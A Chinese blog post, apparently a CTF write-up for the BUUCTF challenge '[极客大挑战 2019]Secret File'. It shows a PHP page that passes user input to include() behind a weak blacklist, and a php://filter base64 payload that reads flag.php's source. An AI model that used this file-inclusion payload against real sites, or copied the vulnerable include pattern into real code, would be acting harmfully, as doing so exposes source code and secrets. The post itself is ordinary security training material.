2021-06-19

最新推荐文章于 2021-12-12 02:07:07 发布

HaHazzzlll

最新推荐文章于 2021-12-12 02:07:07 发布

阅读量129

点赞数

CC 4.0 BY-SA版权

分类专栏： ctf

本文链接：https://blog.csdn.net/ZZZllllllxx/article/details/118055469

ctf 专栏收录该内容

18 篇文章

订阅专栏

本文详细描述了一次极客大挑战中解决安全问题的过程。通过php伪协议和302重定向，作者发现了secr3t.php文件，并尝试访问flag.php。由于过滤机制，直接访问flag.php无效，于是构造了php伪协议payload成功解码获取了隐藏信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

2021/6/19
[极客大挑战 2019]Secret File
php伪协议
302转跳
打开之后页面没啥有用的信息去看源码
在这里插入图片描述
发现了Archive_room.php访问有一个
SECRET 点击发现是直接就转跳了想到bp抓包
于是抓包

发现 secr3t.php
去访问发现一段源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

一开始考虑直接访问flag.php，但是发现查看不了flag
又看上边过滤了很多，于是又想到了php伪协议
构造payload：http://1ad1ad22-079c-4897-8eb9-2ebfe14abc2b.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
果然

在这里插入图片描述
解码